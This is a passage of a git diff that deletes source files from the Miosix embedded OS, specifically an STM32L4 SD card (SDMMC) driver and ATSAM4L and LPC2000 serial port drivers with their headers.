bytes, block data xfer, from card to controller - //DTMode set to 00 - Block Data Transfer (Not shown here) - SDMMC1->DCTRL=(9<<4) | SDMMC_DCTRL_DTDIR | SDMMC_DCTRL_DTEN; - DBG("READ STARTED! WAITING FOR INTERRUPT...\n"); - FastInterruptDisableLock dLock; - while(waiting) - { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } - - } else { - transferError=true; - DBG("TRANSFER ERROR\n"); - } - SDMMC1->DCTRL=0; //Disable data path state machine - SDMMC1->MASK=0; - - DBGERR("TRANSFER ERROR: %d\n", transferError); - - // CMD12 is sent to end CMD18 (multiple block read), or to abort an - // unfinished read in case of errors - if(nblk>1 || transferError) cr=Command::send(Command::CMD12,0); - if(transferError || cr.validateR1Response()==false) - { - displayBlockTransferError(); - ClockController::reduceClockSpeed(); - return false; - } - - //Read ok, deal with cache coherence - markBufferAfterDmaRead(buffer,nblk*512); - return true; -} - -/** - * \internal - * Write a given number of contiguous 512 byte blocks to an SD/MMC card. - * Card must be selected prior to calling this function. - * \param buffer, a buffer whose size is 512*nblk bytes - * \param nblk number of blocks to write. - * \param lba logical block address of the first block to write. - */ -static bool multipleBlockWrite(const unsigned char *buffer, unsigned int nblk, - unsigned int lba) -{ - if(nblk==0) return true; - while(nblk>32767) - { - if(multipleBlockWrite(buffer,32767,lba)==false) return false; - buffer+=32767*512; - nblk-=32767; - lba+=32767; - } - - //Deal with cache coherence - markBufferBeforeDmaWrite(buffer,nblk*512); - - if(waitForCardReady()==false) return false; - - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - if(nblk>1) - { - CmdResult cr=Command::send(Command::ACMD23,nblk); - if(cr.validateR1Response()==false) return false; - } - - dmaTransferCommonSetup(buffer); - - //Data transfer is considered complete once the SDIO transfer complete - //interrupt occurs, that happens when the last data was written to the SDIO - //Both SDIO and DMA error interrupts are active to catch errors - SDMMC1->MASK=SDMMC_MASK_DATAENDIE | //Interrupt on data end - SDMMC_MASK_RXOVERRIE | //Interrupt on rx underrun - SDMMC_MASK_TXUNDERRIE | //Interrupt on tx underrun - SDMMC_MASK_DCRCFAILIE | //Interrupt on data CRC fail - SDMMC_MASK_DTIMEOUTIE | //Interrupt on data timeout - SDMMC_MASK_IDMABTCIE | //Interrupt on IDMA events - SDMMC_MASK_DABORTIE; - SDMMC1->DLEN=nblk*512; - if(waiting==0) - { - DBGERR("Premature wakeup\n"); - transferError=true; - } - CmdResult cr=Command::send(nblk>1 ? Command::CMD25 : Command::CMD24,lba); - if(cr.validateR1Response()) - { - //Block size 512 bytes, block data xfer, from card to controller - SDMMC1->DCTRL= ((9<<4) | SDMMC_DCTRL_DTEN) & ~(SDMMC_DCTRL_DTDIR); - FastInterruptDisableLock dLock; - while(waiting) - { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } - } else transferError=true; - - // CMD12 is sent to end CMD25 (multiple block write), or to abort an - // unfinished write in case of errors - if(nblk>1 || transferError) cr=Command::send(Command::CMD12,0); - if(transferError || cr.validateR1Response()==false) - { - displayBlockTransferError(); - ClockController::reduceClockSpeed(); - return false; - } - return true; -} - -// -// Class CardSelector -// - -#ifndef SD_KEEP_CARD_SELECTED -/** - * \internal - * Simple RAII class for selecting an SD/MMC card an automatically deselect it - * at the end of the scope. - */ -class CardSelector -{ -public: - /** - * \internal - * Constructor. Selects the card. - * The result of the select operation is available through its succeded() - * member function - */ - explicit CardSelector() - { - success=Command::send( - Command::CMD7,Command::getRca()<<16).validateR1Response(); - } - - /** - * \internal - * \return true if the card was selected, false on error - */ - bool succeded() { return success; } - - /** - * \internal - * Destructor, ensures that the card is deselected - */ - ~CardSelector() - { - Command::send(Command::CMD7,0); //Deselect card. This will timeout - } - -private: - bool success; -}; -#endif //SD_KEEP_CARD_SELECTED - -// -// Initialization helper functions -// - -/** - * \internal - * Initialzes the SDIO peripheral in the STM32 - */ -static void initSDIOPeripheral() -{ - { - //Doing read-modify-write on RCC->APBENR2 and gpios, better be safe - FastInterruptDisableLock lock; - RCC->AHB2ENR |= RCC_AHB2ENR_GPIOCEN - | RCC_AHB2ENR_GPIODEN - | RCC_AHB2ENR_SDMMC1EN; - - //RCC->AHB1ENR |= RCC_AHB1ENR_DMA2EN; - RCC->CCIPR |= RCC_CCIPR_CLK48SEL_1; - //RCC_SYNC(); - //RCC_SYNC(); - sdD0::mode(Mode::ALTERNATE); - sdD0::alternateFunction(12); - #ifndef SD_ONE_BIT_DATABUS - sdD1::mode(Mode::ALTERNATE); - sdD1::alternateFunction(12); - sdD2::mode(Mode::ALTERNATE); - sdD2::alternateFunction(12); - sdD3::mode(Mode::ALTERNATE); - sdD3::alternateFunction(12); - #endif //SD_ONE_BIT_DATABUS - sdCLK::mode(Mode::ALTERNATE); - sdCLK::alternateFunction(12); - sdCMD::mode(Mode::ALTERNATE); - sdCMD::alternateFunction(12); - } - NVIC_SetPriority(SDMMC1_IRQn,15);//Low priority for SDIO - NVIC_EnableIRQ(SDMMC1_IRQn); - - SDMMC1->POWER=0; //Power off state - delayUs(1); - SDMMC1->CLKCR=0; - SDMMC1->CMD=0; - SDMMC1->DCTRL=0; - SDMMC1->ICR=0x1fe007ff; //Interrupt //0xc007ff - SDMMC1->POWER=SDMMC_POWER_PWRCTRL_1 | SDMMC_POWER_PWRCTRL_0; //Power on state - DBG("\nIDMACTRL: 0x%x\n", SDMMC1->IDMACTRL); - - //This delay is particularly important: when setting the POWER register a - //glitch on the CMD pin happens. This glitch has a fast fall time and a slow - //rise time resembling an RC charge with a ~6us rise time. If the clock is - //started too soon, the card sees a clock pulse while CMD is low, and - //interprets it as a start bit. No, setting POWER to powerup does not - //eliminate the glitch. - delayUs(10); - ClockController::setLowSpeedClock(); - //Wait at least 74 clock cycles before first command - Thread::nanoSleep(250000); -} - -/** - * \internal - * Detect if the card is an SDHC, SDv2, SDv1, MMC - * \return Type of card: (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC - * or Invalid if card detect failed. - */ -static CardType detectCardType() -{ - const int INIT_TIMEOUT=200; //200*10ms= 2 seconds - CmdResult r=Command::send(Command::CMD8,0x1aa); - if(r.validateError()) - { - //We have an SDv2 card connected - if(r.getResponse()!=0x1aa) - { - DBGERR("CMD8 validation: voltage range fail\n"); - return Invalid; - } - for(int i=0;i SDIODriver::instance() -{ - static FastMutex m; - static intrusive_ref_ptr instance; - Lock l(m); - if(!instance) instance=new SDIODriver(); - return instance; -} - -ssize_t SDIODriver::readBlock(void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - Lock l(mutex); - DBG("SDIODriver::readBlock(): nSectors=%d\n",nSectors); - - for(int i=0;i < ClockController::getRetryCount();i++) - { - #ifndef SD_KEEP_CARD_SELECTED - CardSelector selector; - if(selector.succeded()==false) continue; - #endif //SD_KEEP_CARD_SELECTED - bool error=false; - if(multipleBlockRead(reinterpret_cast(buffer), - nSectors,lba)==false) error=true; - - if(error==false) - { - if(i>0) DBGERR("Read: required %d retries\n",i); - return size; - } - } - return -EBADF; -} - -ssize_t SDIODriver::writeBlock(const void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - Lock l(mutex); - DBG("SDIODriver::writeBlock(): nSectors=%d\n",nSectors); - for(int i=0;i(buffer), - nSectors,lba)==false) error=true; - - if(error==false) - { - if(i>0) DBGERR("Write: required %d retries\n",i); - return size; - } - } - return -EBADF; -} - -int SDIODriver::ioctl(int cmd, void* arg) -{ - DBG("SDIODriver::ioctl()\n"); - if(cmd!=IOCTL_SYNC) return -ENOTTY; - Lock l(mutex); - //Note: no need to select card, since status can be queried even with card - //not selected. - return waitForCardReady() ? 0 : -EFAULT; -} - -SDIODriver::SDIODriver() : Device(Device::BLOCK) -{ - - initSDIOPeripheral(); - - // This is more important than it seems, since CMD55 requires the card's RCA - // as argument. During initalization, after CMD0 the card has an RCA of zero - // so without this line ACMD41 will fail and the card won't be initialized. - Command::setRca(0); - - //Send card reset command - CmdResult r=Command::send(Command::CMD0,0); - if(r.validateError()==false) return; - - cardType=detectCardType(); - if(cardType==Invalid) return; //Card detect failed - if(cardType==MMC) return; //MMC cards currently unsupported - - // Now give an RCA to the card. In theory we should loop and enumerate all - // the cards but this driver supports only one card. - r=Command::send(Command::CMD2,0); - //CMD2 sends R2 response, whose CMDINDEX field is wrong - if(r.getError()!=CmdResult::Ok && r.getError()!=CmdResult::RespNotMatch) - { - r.validateError(); - return; - } - r=Command::send(Command::CMD3,0); - if(r.validateR6Response()==false) return; - Command::setRca(r.getResponse()>>16); - DBG("Got RCA=%u\n",Command::getRca()); - if(Command::getRca()==0) - { - //RCA=0 can't be accepted, since it is used to deselect cards - DBGERR("RCA=0 is invalid\n"); - return; - } - - //Lastly, try selecting the card and configure the latest bits - { - #ifndef SD_KEEP_CARD_SELECTED - CardSelector selector; - if(selector.succeded()==false) return; - #else //SD_KEEP_CARD_SELECTED - //Select card here, and keep it selected indefinitely - r=Command::send(Command::CMD7,Command::getRca()<<16); - if(r.validateR1Response()==false) return; - #endif //SD_KEEP_CARD_SELECTED - - r=Command::send(Command::CMD13,Command::getRca()<<16);//Get status - if(r.validateR1Response()==false) return; - if(r.getState()!=4) //4=Tran state - { - DBGERR("CMD7 was not able to select card\n"); - return; - } - - #ifndef SD_ONE_BIT_DATABUS - r=Command::send(Command::ACMD6,2); //Set 4 bit bus width - if(r.validateR1Response()==false) return; - #endif //SD_ONE_BIT_DATABUS - - if(cardType!=SDHC) - { - r=Command::send(Command::CMD16,512); //Set 512Byte block length - if(r.validateR1Response()==false) return; - } - } - - // Now that card is initialized, perform self calibration of maximum - // possible read/write speed. This as a side effect enables 4bit bus width. - ClockController::calibrateClockSpeed(this); - - - DBG("SDIO init: Success\n"); - -} -} diff --git a/miosix/arch/common/drivers/sd_stm32l4.h b/miosix/arch/common/drivers/sd_stm32l4.h deleted file mode 100644 index dc65cfd9b..000000000 --- a/miosix/arch/common/drivers/sd_stm32l4.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef SD_STM32L4_H -#define SD_STM32L4_H - -#include "kernel/sync.h" -#include "filesystem/devfs/devfs.h" -#include "filesystem/ioctl.h" - -namespace miosix { - -/** - * Driver for the SDIO peripheral in STM32F2 and F4 microcontrollers - */ -class SDIODriver : public Device -{ -public: - /** - * \return an instance to this class, singleton - */ - static intrusive_ref_ptr instance(); - - virtual ssize_t readBlock(void *buffer, size_t size, off_t where); - - virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); - - virtual int ioctl(int cmd, void *arg); -private: - /** - * Constructor - */ - SDIODriver(); - - FastMutex mutex; -}; - -} //namespace miosix - -#endif //SD_STM32L4_H \ No newline at end of file diff --git a/miosix/arch/common/drivers/serial.h b/miosix/arch/common/drivers/serial.h deleted file mode 100644 index ce31ee615..000000000 --- a/miosix/arch/common/drivers/serial.h +++ /dev/null @@ -1,20 +0,0 @@ - -//Serial code is common for all the cortex M cores, so it has been put here - -#ifdef _ARCH_ARM7_LPC2000 -#include "serial_lpc2000.h" -#elif defined(_ARCH_CORTEXM0_STM32F0) || defined(_ARCH_CORTEXM3_STM32F1) \ - || defined(_ARCH_CORTEXM4_STM32F4) || defined(_ARCH_CORTEXM3_STM32F2) \ - || defined(_ARCH_CORTEXM3_STM32L1) || defined(_ARCH_CORTEXM7_STM32F7) \ - || defined(_ARCH_CORTEXM7_STM32H7) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) || defined(_ARCH_CORTEXM0PLUS_STM32L0) -#include "serial_stm32.h" -#elif defined(_ARCH_CORTEXM3_EFM32GG) || defined(_ARCH_CORTEXM3_EFM32G) -#include "efm32_serial.h" -#elif defined(_ARCH_CORTEXM4_ATSAM4L) -#include "serial_atsam4l.h" -#elif defined(_ARCH_CORTEXM0PLUS_RP2040) -#include "rp2040_serial.h" -#else -#error "Unknown arch" -#endif diff --git a/miosix/arch/common/drivers/serial_atsam4l.cpp b/miosix/arch/common/drivers/serial_atsam4l.cpp deleted file mode 100644 index 05d0a3142..000000000 --- a/miosix/arch/common/drivers/serial_atsam4l.cpp +++ /dev/null @@ -1,247 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2020 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include -#include -#include -#include -#include "serial_atsam4l.h" -#include "kernel/sync.h" -#include "kernel/scheduler/scheduler.h" -#include "interfaces/portability.h" -#include "filesystem/ioctl.h" - -using namespace std; -using namespace miosix; - -static const int numPorts=4; //USART0 to USART3 - -/// Pointer to serial port classes to let interrupts access the classes -static ATSAMSerial *ports[numPorts]={0}; - -/** - * \internal interrupt routine for usart2 rx actual implementation - */ -void __attribute__((noinline)) usart2rxIrqImpl() -{ - if(ports[2]) ports[2]->IRQhandleInterrupt(); -} - -/** - * \internal interrupt routine for usart2 rx - */ -void __attribute__((naked)) USART2_Handler() -{ - saveContext(); - asm volatile("bl _Z15usart2rxIrqImplv"); - restoreContext(); -} - -namespace miosix { - -// -// class ATSAMSerial -// - -// A note on the baudrate/500: the buffer is selected so as to withstand -// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. -// So (baudrate/10)*0.02=baudrate/500 -ATSAMSerial::ATSAMSerial(int id, int baudrate) - : Device(Device::TTY), rxQueue(rxQueueMin+baudrate/500), rxWaiting(0), - idle(true), portId(id) -{ - if(id!=2 || ports[portId]) errorHandler(UNEXPECTED); - - { - InterruptDisableLock dLock; - ports[portId]=this; - - port=USART2; - - //TODO: USART2 hardcoded - PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) | PM_UNLOCK_ADDR(PM_PBAMASK_OFFSET); - PM->PM_PBAMASK |= PM_PBAMASK_USART2; - NVIC_SetPriority(USART2_IRQn,15);//Lowest priority for serial - NVIC_EnableIRQ(USART2_IRQn); - } - - unsigned int div=(SystemCoreClock+baudrate/2)/baudrate; - port->US_BRGR = div>>3 | (div & 0x7)<<16; - port->US_MR = US_MR_FILTER // Filter input with majority of 3 samples - | US_MR_OVER // 8 cycles oversample - | US_MR_PAR_NONE // No parity - | US_MR_CHRL_8 // 8 bit char - | US_MR_USCLKS_MCK // CLK_USART is clock source - | US_MR_MODE_NORMAL;// Just a plain usart, please - - port->US_RTOR=10; //Timeout 10 bits (one char time) - port->US_IER = US_IER_RXRDY | US_IER_TIMEOUT; - - port->US_CR = US_CR_TXEN | US_CR_RXEN; -} - -ssize_t ATSAMSerial::readBlock(void *buffer, size_t size, off_t where) -{ - Lock l(rxMutex); - char *buf=reinterpret_cast(buffer); - size_t result=0; - FastInterruptDisableLock dLock; - DeepSleepLock dpLock; - for(;;) - { - //Try to get data from the queue - for(;result0) break; - if(result==size) break; - //Wait for data in the queue - do { - rxWaiting=Thread::IRQgetCurrentThread(); - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } while(rxWaiting); - } - return result; -} - -ssize_t ATSAMSerial::writeBlock(const void *buffer, size_t size, off_t where) -{ - Lock l(txMutex); - const char *buf=reinterpret_cast(buffer); - for(size_t i=0;iUS_CSR & US_CSR_TXRDY) == 0) ; - port->US_THR =*buf++; - } - return size; -} - -void ATSAMSerial::IRQwrite(const char *str) -{ - // We can reach here also with only kernel paused, so make sure - // interrupts are disabled. - bool interrupts=areInterruptsEnabled(); - if(interrupts) fastDisableInterrupts(); - while(*str) - { - while((port->US_CSR & US_CSR_TXRDY) == 0) ; - port->US_THR = *str++; - } - waitSerialTxFifoEmpty(); - if(interrupts) fastEnableInterrupts(); -} - -int ATSAMSerial::ioctl(int cmd, void *arg) -{ - if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned - termios *t=reinterpret_cast(arg); - switch(cmd) - { - case IOCTL_SYNC: - waitSerialTxFifoEmpty(); - return 0; - case IOCTL_TCGETATTR: - t->c_iflag=IGNBRK | IGNPAR; - t->c_oflag=0; - t->c_cflag=CS8; - t->c_lflag=0; - return 0; - case IOCTL_TCSETATTR_NOW: - case IOCTL_TCSETATTR_DRAIN: - case IOCTL_TCSETATTR_FLUSH: - //Changing things at runtime unsupported, so do nothing, but don't - //return error as console_device.h implements some attribute changes - return 0; - default: - return -ENOTTY; //Means the operation does not apply to this descriptor - } -} - -void ATSAMSerial::IRQhandleInterrupt() -{ - bool wake=false; - unsigned int status=port->US_CSR; - - if(status & US_CSR_RXRDY) - { - wake=true; - //Always read the char (resets flags), but put it in the queue only if - //no framing error - char c=port->US_RHR; - if((status & US_CSR_FRAME) == 0) - { - if(rxQueue.tryPut(c & 0xff)==false) /*fifo overflow*/; - idle=false; - } - } - if(status & US_CSR_TIMEOUT) - { - wake=true; - port->US_CR=US_CR_STTTO; - idle=true; - } - - if(wake && rxWaiting) - { - rxWaiting->IRQwakeup(); - if(rxWaiting->IRQgetPriority()> - Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - rxWaiting=0; - } -} - -ATSAMSerial::~ATSAMSerial() -{ - waitSerialTxFifoEmpty(); - - port->US_CR = US_CR_TXDIS | US_CR_RXDIS; - port->US_IDR = US_IDR_RXRDY | US_IDR_TIMEOUT; - - InterruptDisableLock dLock; - ports[portId]=nullptr; - - //TODO: USART2 hardcoded - NVIC_DisableIRQ(USART2_IRQn); - NVIC_ClearPendingIRQ(USART2_IRQn); - PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) | PM_UNLOCK_ADDR(PM_PBAMASK_OFFSET); - PM->PM_PBAMASK &= ~PM_PBAMASK_USART2; -} - -void ATSAMSerial::waitSerialTxFifoEmpty() -{ - while((port->US_CSR & US_CSR_TXEMPTY) == 0) ; -} - -} //namespace miosix diff --git a/miosix/arch/common/drivers/serial_atsam4l.h b/miosix/arch/common/drivers/serial_atsam4l.h deleted file mode 100644 index 4fd480f51..000000000 --- a/miosix/arch/common/drivers/serial_atsam4l.h +++ /dev/null @@ -1,135 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2020 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "filesystem/console/console_device.h" -#include "kernel/sync.h" -#include "kernel/queue.h" - -namespace miosix { - -/** - * Serial port class for ATSAM4L microcontrollers. - * - * This is a simple implementation with the following limitations: - * -only supports USART2 - * -no DMA, TX uses polling, while RX is interrupt-based - * - * Classes of this type are reference counted, must be allocated on the heap - * and managed through intrusive_ref_ptr - */ -class ATSAMSerial : public Device -{ -public: - /** - * Constructor, initializes the serial port. - * Calls errorHandler(UNEXPECTED) if id is not in the correct range, or when - * attempting to construct multiple objects with the same id. That is, - * it is possible to instantiate only one instance of this class for each - * hardware USART. - * \param id a number to select the USART - * \param baudrate serial port baudrate - */ - ATSAMSerial(int id, int baudrate); - - /** - * Read a block of data - * \param buffer buffer where read data will be stored - * \param size buffer size - * \param where where to read from - * \return number of bytes read or a negative number on failure. Note that - * it is normal for this function to return less character than the amount - * asked - */ - ssize_t readBlock(void *buffer, size_t size, off_t where); - - /** - * Write a block of data - * \param buffer buffer where take data to write - * \param size buffer size - * \param where where to write to - * \return number of bytes written or a negative number on failure - */ - ssize_t writeBlock(const void *buffer, size_t size, off_t where); - - /** - * Write a string. - * An extension to the Device interface that adds a new member function, - * which is used by the kernel on console devices to write debug information - * before the kernel is started or in case of serious errors, right before - * rebooting. - * Can ONLY be called when the kernel is not yet started, paused or within - * an interrupt. This default implementation ignores writes. - * \param str the string to write. The string must be NUL terminated. - */ - void IRQwrite(const char *str); - - /** - * Performs device-specific operations - * \param cmd specifies the operation to perform - * \param arg optional argument that some operation require - * \return the exact return value depends on CMD, -1 is returned on error - */ - int ioctl(int cmd, void *arg); - - /** - * \internal the serial port interrupts call this member function. - * Never call this from user code. - */ - void IRQhandleInterrupt(); - - /** - * \return port id, 0 for USART0, ... - */ - int getId() const { return portId; } - - /** - * Destructor - */ - ~ATSAMSerial(); - -private: - /** - * Wait until all characters have been written to the serial port - */ - void waitSerialTxFifoEmpty(); - - FastMutex txMutex; ///< Mutex locked during transmission - FastMutex rxMutex; ///< Mutex locked during reception - - DynUnsyncQueue rxQueue; ///< Receiving queue - static const unsigned int rxQueueMin=1; ///< Minimum queue size - Thread *rxWaiting; ///< Thread waiting for rx, or 0 - bool idle; ///< Receiver idle - - Usart *port; ///< Pointer to USART peripheral - - const unsigned char portId; ///< 0 for USART0, ... -}; - -} //namespace miosix diff --git a/miosix/arch/common/drivers/serial_lpc2000.cpp b/miosix/arch/common/drivers/serial_lpc2000.cpp deleted file mode 100644 index a7f9dd8f8..000000000 --- a/miosix/arch/common/drivers/serial_lpc2000.cpp +++ /dev/null @@ -1,311 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008, 2009, 2010, 2011, 2012, 2013, 2014 * - * by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include -#include -#include -#include "serial_lpc2000.h" -#include "kernel/sync.h" -#include "kernel/scheduler/scheduler.h" -#include "interfaces/portability.h" -#include "filesystem/ioctl.h" -#include "LPC213x.h" - -namespace miosix { - -/// Pointer to serial port classes to let interrupts access the classes -static LPC2000Serial *ports[2]={0}; - -/** - * \internal interrupt routine for usart0 actual implementation - */ -void __attribute__((noinline)) usart0irqImpl() -{ - if(ports[0]) ports[0]->IRQhandleInterrupt(); - VICVectAddr=0xff;//Restart VIC -} - -/** - * \internal interrupt routine for usart0 - */ -void __attribute__((interrupt("IRQ"),naked)) usart0irq() -{ - saveContextFromIrq(); - asm volatile("bl _ZN6miosix13usart0irqImplEv"); - restoreContext(); -} - -/** - * \internal interrupt routine for usart1 actual implementation - */ -void __attribute__((noinline)) usart1irqImpl() -{ - if(ports[1]) ports[1]->IRQhandleInterrupt(); - VICVectAddr=0xff;//Restart VIC -} - -/** - * \internal interrupt routine for usart1 - */ -void __attribute__ ((interrupt("IRQ"),naked)) usart1irq() -{ - saveContextFromIrq(); - asm volatile("bl _ZN6miosix13usart1irqImplEv"); - restoreContext(); -} - -// -// class LPC2000Serial -// - -// A note on the baudrate/500: the buffer is selected so as to withstand -// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. -// So (baudrate/10)*0.02=baudrate/500 -LPC2000Serial::LPC2000Serial(int id, int baudrate) : Device(Device::TTY), - txQueue(swTxQueue), rxQueue(hwRxQueueLen+baudrate/500), - txWaiting(nullptr), rxWaiting(nullptr), idle(true) -{ - InterruptDisableLock dLock; - if(id<0 || id>1 || ports[id]!=0) errorHandler(UNEXPECTED); - ports[id]=this; - if(id==0) - { - serial=reinterpret_cast(0xe000c000); - PCONP|=(1<<3);//Enable UART0 peripheral - PINSEL0&=~(0xf);//Clear bits 0 to 3 of PINSEL0 - PINSEL0|=0x5;//Set p0.0 as TXD and p0.1 as RXD - //Init VIC - VICSoftIntClr=(1<<6);//Clear uart0 interrupt flag (if previously set) - VICIntSelect&=~(1<<6);//uart0=IRQ - VICIntEnable=(1<<6);//uart0 interrupt ON - VICVectCntl2=0x20 | 0x6;//Slot 2 of VIC used by uart0 - VICVectAddr2=reinterpret_cast(&usart0irq); - } else { - serial=reinterpret_cast(0xe0010000); - PCONP|=(1<<4);//Enable UART1 peripheral - PINSEL0&=~(0xf0000);//Clear bits 16 to 19 of PINSEL0 - PINSEL0|=0x50000;//Set p0.8 as TXD and p0.9 as RXD - //Init VIC - VICSoftIntClr=(1<<7);//Clear uart1 interrupt flag (if previously set) - VICIntSelect&=~(1<<7);//uart1=IRQ - VICIntEnable=(1<<7);//uart1 interrupt ON - VICVectCntl3=0x20 | 0x7;//Slot 3 of VIC used by uart1 - VICVectAddr3=reinterpret_cast(&usart1irq); - } - serial->LCR=0x3;//DLAB disabled - //0x07= fifo enabled, reset tx and rx hardware fifos - //0x80= uart rx fifo trigger level 8 characters - serial->FCR=0x07 | 0x80; - serial->LCR=0x83;//8data bit, 1stop, no parity, DLAB enabled - int div=TIMER_CLOCK/16/baudrate; - serial->DLL=div & 0xff; - serial->DLM=(div>>8) & 0xff; - serial->LCR=0x3;//DLAB disabled - serial->IER=0x7;//Enable RLS, RDA, CTI and THRE interrupts -} - -ssize_t LPC2000Serial::readBlock(void *buffer, size_t size, off_t where) -{ - Lock l(rxMutex); - char *buf=reinterpret_cast(buffer); - size_t result=0; - FastInterruptDisableLock dLock; - for(;;) - { - //Try to get data from the queue - for(;result0) break; - if(result==size) break; - //Wait for data in the queue - do { - rxWaiting=Thread::IRQgetCurrentThread(); - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } while(rxWaiting); - } - return result; -} - -ssize_t LPC2000Serial::writeBlock(const void *buffer, size_t size, off_t where) -{ - Lock l(txMutex); - FastInterruptDisableLock dLock; - size_t len=size; - const char *buf=reinterpret_cast(buffer); - while(len>0) - { - //If no data in software and hardware queue - if((serial->LSR & (1<<5)) && (txQueue.isEmpty())) - { - //Fill hardware queue first - for(int i=0;iTHR=*buf++; - len--; - if(len==0) break; - } - } else { - if(txQueue.tryPut(*buf)) - { - buf++; - len--; - } else { - txWaiting=Thread::IRQgetCurrentThread(); - while(txWaiting) Thread::IRQenableIrqAndWait(dLock); - } - } - } - return size; -} - -void LPC2000Serial::IRQwrite(const char *str) -{ - while((*str)!='\0') - { - //Wait until the hardware fifo is ready to accept one char - while(!(serial->LSR & (1<<5))) ; //wait - serial->THR=*str++; - } - waitSerialTxFifoEmpty(); -} - -int LPC2000Serial::ioctl(int cmd, void* arg) -{ - if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned - termios *t=reinterpret_cast(arg); - switch(cmd) - { - case IOCTL_SYNC: - waitSerialTxFifoEmpty(); - return 0; - case IOCTL_TCGETATTR: - t->c_iflag=IGNBRK | IGNPAR; - t->c_oflag=0; - t->c_cflag=CS8; - t->c_lflag=0; - return 0; - case IOCTL_TCSETATTR_NOW: - case IOCTL_TCSETATTR_DRAIN: - case IOCTL_TCSETATTR_FLUSH: - //Changing things at runtime unsupported, so do nothing, but don't - //return error as console_device.h implements some attribute changes - return 0; - default: - return -ENOTTY; //Means the operation does not apply to this descriptor - } -} - -void LPC2000Serial::IRQhandleInterrupt() -{ - char c; - bool hppw=false; - bool wakeup=false; - switch(serial->IIR & 0xf) - { - case 0x6: //RLS - c=serial->LSR;//Read LSR to clear interrupt - c=serial->RBR;//Read RBR to discard char that caused error - break; - case 0x4: //RDA - //Note: read one less char than HARDWARE_RX_QUEUE_LENGTH as the - //CTI interrupt only occurs if there's at least one character in - //the 